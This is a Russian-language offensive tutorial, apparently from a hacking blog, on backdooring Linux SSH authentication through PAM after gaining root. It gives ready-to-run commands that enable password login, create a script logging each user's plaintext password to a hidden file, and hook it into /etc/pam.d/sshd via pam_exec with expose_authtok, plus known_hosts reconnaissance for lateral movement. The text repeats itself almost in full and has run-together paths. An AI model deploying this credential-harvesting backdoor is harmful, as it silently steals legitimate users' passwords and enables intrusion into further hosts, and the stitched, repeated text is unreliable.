Добро пожаловать обратно, мои начинающие кибервоины!
Попадание на Linux-машину после эксплуатации или с только что собранными учётными данными часто кажется победой, но на самом деле это только начало борьбы. Горизонтальное продвижение в Linux-средах, как известно, сложнее, чем в доменах Windows. Даже если вам удастся получить root-доступ на одном хосте, вы можете быстро упереться в стену: вы видите свидетельства подключения пользователей к другим системам, но у вас нет их учётных данных. Без них дальнейшее расширение застопорится. Такие методы, как дамп памяти или сбор данных процессов, могут сработать в некоторых случаях, но, в частности, процессы SSH не так легко раскрывают учётные данные пользователей. На первый взгляд, это кажется тупиком.
Именно здесь в игру вступают манипуляции с PAM. Изменив способ обработки входов в подключаемый модуль аутентификации, можно незаметно перехватывать учётные данные пользователей при каждой аутентификации. Таким образом, вы создаёте систематический способ сбора паролей SSH и их повторного использования для горизонтального перемещения.
Например, проверка /home/dev3/.ssh/known_hostsможет обнаружить такие записи, как git. Эта единственная подсказка указывает на точку опоры. Если скомпрометированная машина находится в среде с ограничениями, этот хост может находиться в другой подсети или за пределами контроля доступа, к которым вы не смогли бы получить доступ иным способом. При наличии правильных учётных данных этот файл становится путеводителем для горизонтального перемещения.
target# > nano /etc/ssh/sshd_config
PasswordAuthentication yes
Как только это изменение будет реализовано, будет заложена основа.
target# > nano /usr/local/bin/logc.sh
#!/bin/bash<br><br>echo "$(date) User: $PAM_USER Password: $(cat -), From: $PAM_RHOST" >> /var/log/.authc.log
Сделайте его исполняемым:
target# > chmod 777 /usr/local/bin/logc.sh
Затем подготовьте скрытый файл журнала, который будет незаметно собирать собранные данные:
target# > touch /var/log/.authc.log
Этот скрипт простой, но мощный. Он фиксирует имя пользователя, пароль в виде открытого текста, источник соединения и добавляет временные метки для каждой записи.
Чтобы изменить только аутентификацию SSH, откройте и добавьте следующую строку в самом верху: /etc/pam.d/sshd
target# > nano /etc/pam.d/sshd
<code>auth optional pam_exec.so quiet expose_authtok /usr/local/bin/logc.sh</code>
Это гарантирует, что каждая попытка аутентификации, успешная или нет, будет обработана скриптом регистрации, прежде чем будет продолжена обычная обработка PAM. Учётные данные незаметно изымаются, в то время как легитимные пользователи остаются в неведении.
target# > service sshd restart
После перезапуска протестируйте исправление, войдя в систему с действительными учетными данными.
После этого проверьте файл журнала:
target# > cat /var/log/.authc.log
Каждая запись должна содержать информацию о захваченном пользователе, введённом им пароле, удалённом хосте, с которого он подключился, и дате попытки. Со временем в этом журнале будут накапливаться ценные учётные данные из сеансов легитимных пользователей, что даст вам ресурс для горизонтального продвижения.
Попадание на Linux-машину после эксплуатации или с только что собранными учётными данными часто кажется победой, но на самом деле это только начало борьбы. Горизонтальное продвижение в Linux-средах, как известно, сложнее, чем в доменах Windows. Даже если вам удастся получить root-доступ на одном хосте, вы можете быстро упереться в стену: вы видите свидетельства подключения пользователей к другим системам, но у вас нет их учётных данных. Без них дальнейшее расширение застопорится. Такие методы, как дамп памяти или сбор данных процессов, могут сработать в некоторых случаях, но, в частности, процессы SSH не так легко раскрывают учётные данные пользователей. На первый взгляд, это кажется тупиком.
Именно здесь в игру вступают манипуляции с PAM. Изменив способ обработки входов в подключаемый модуль аутентификации, можно незаметно перехватывать учётные данные пользователей при каждой аутентификации. Таким образом, вы создаёте систематический способ сбора паролей SSH и их повторного использования для горизонтального перемещения.
Разведка с известными хостами
Прежде чем приступать к исправлению PAM, полезно собрать некоторую информацию о сети и о том, к каким серверам подключаются легитимные пользователи. SSH-клиенты хранят информацию о ранее посещённых серверах в known_hostsфайле в каталоге каждого пользователя .ssh. Если эти файлы доступны, они предоставляют список пунктов назначения без необходимости сканирования.Например, проверка /home/dev3/.ssh/known_hostsможет обнаружить такие записи, как git. Эта единственная подсказка указывает на точку опоры. Если скомпрометированная машина находится в среде с ограничениями, этот хост может находиться в другой подсети или за пределами контроля доступа, к которым вы не смогли бы получить доступ иным способом. При наличии правильных учётных данных этот файл становится путеводителем для горизонтального перемещения.
Подготовка хозяина
Перед реализацией механизма перехвата учётных данных важно убедиться, что хост принимает вход по паролю. SSHD можно настроить так, чтобы полностью запретить аутентификацию по паролю, используя только доступ по ключу. Чтобы включить перехват учётных данных, необходимо настроить следующие параметры /etc/ssh/sshd_config:target# > nano /etc/ssh/sshd_config
PasswordAuthentication yes
Как только это изменение будет реализовано, будет заложена основа.
Создание сценария ведения журнала
Следующий шаг — создание небольшого скрипта, который будет регистрировать попытки входа в систему. С правами root создайте новый файл по адресу /usr/local/bin/logc.sh:target# > nano /usr/local/bin/logc.sh
#!/bin/bash<br><br>echo "$(date) User: $PAM_USER Password: $(cat -), From: $PAM_RHOST" >> /var/log/.authc.log
Сделайте его исполняемым:
target# > chmod 777 /usr/local/bin/logc.sh
Затем подготовьте скрытый файл журнала, который будет незаметно собирать собранные данные:
target# > touch /var/log/.authc.log
Этот скрипт простой, но мощный. Он фиксирует имя пользователя, пароль в виде открытого текста, источник соединения и добавляет временные метки для каждой записи.
Исправление PAM
После того, как скрипт логирования готов, следующая задача — добавить его в цепочку аутентификации PAM. Настройки PAM немного различаются в зависимости от дистрибутива, но для SSH соответствующий файл — . Для более широкого охвата всей системы можно использовать другие файлы, например, Debian/Ubuntu или CentOS. /etc/pam.d/sshd/etc/pam.d/common-auth/etc/pam.d/password-authЧтобы изменить только аутентификацию SSH, откройте и добавьте следующую строку в самом верху: /etc/pam.d/sshd
target# > nano /etc/pam.d/sshd
<code>auth optional pam_exec.so quiet expose_authtok /usr/local/bin/logc.sh</code>
Это гарантирует, что каждая попытка аутентификации, успешная или нет, будет обработана скриптом регистрации, прежде чем будет продолжена обычная обработка PAM. Учётные данные незаметно изымаются, в то время как легитимные пользователи остаются в неведении.
Применение и тестирование патча
Чтобы изменения вступили в силу, перезапустите службу SSH:target# > service sshd restart
После перезапуска протестируйте исправление, войдя в систему с действительными учетными данными.
После этого проверьте файл журнала:
target# > cat /var/log/.authc.log
Каждая запись должна содержать информацию о захваченном пользователе, введённом им пароле, удалённом хосте, с которого он подключился, и дате попытки. Со временем в этом журнале будут накапливаться ценные учётные данные из сеансов легитимных пользователей, что даст вам ресурс для горизонтального продвижения.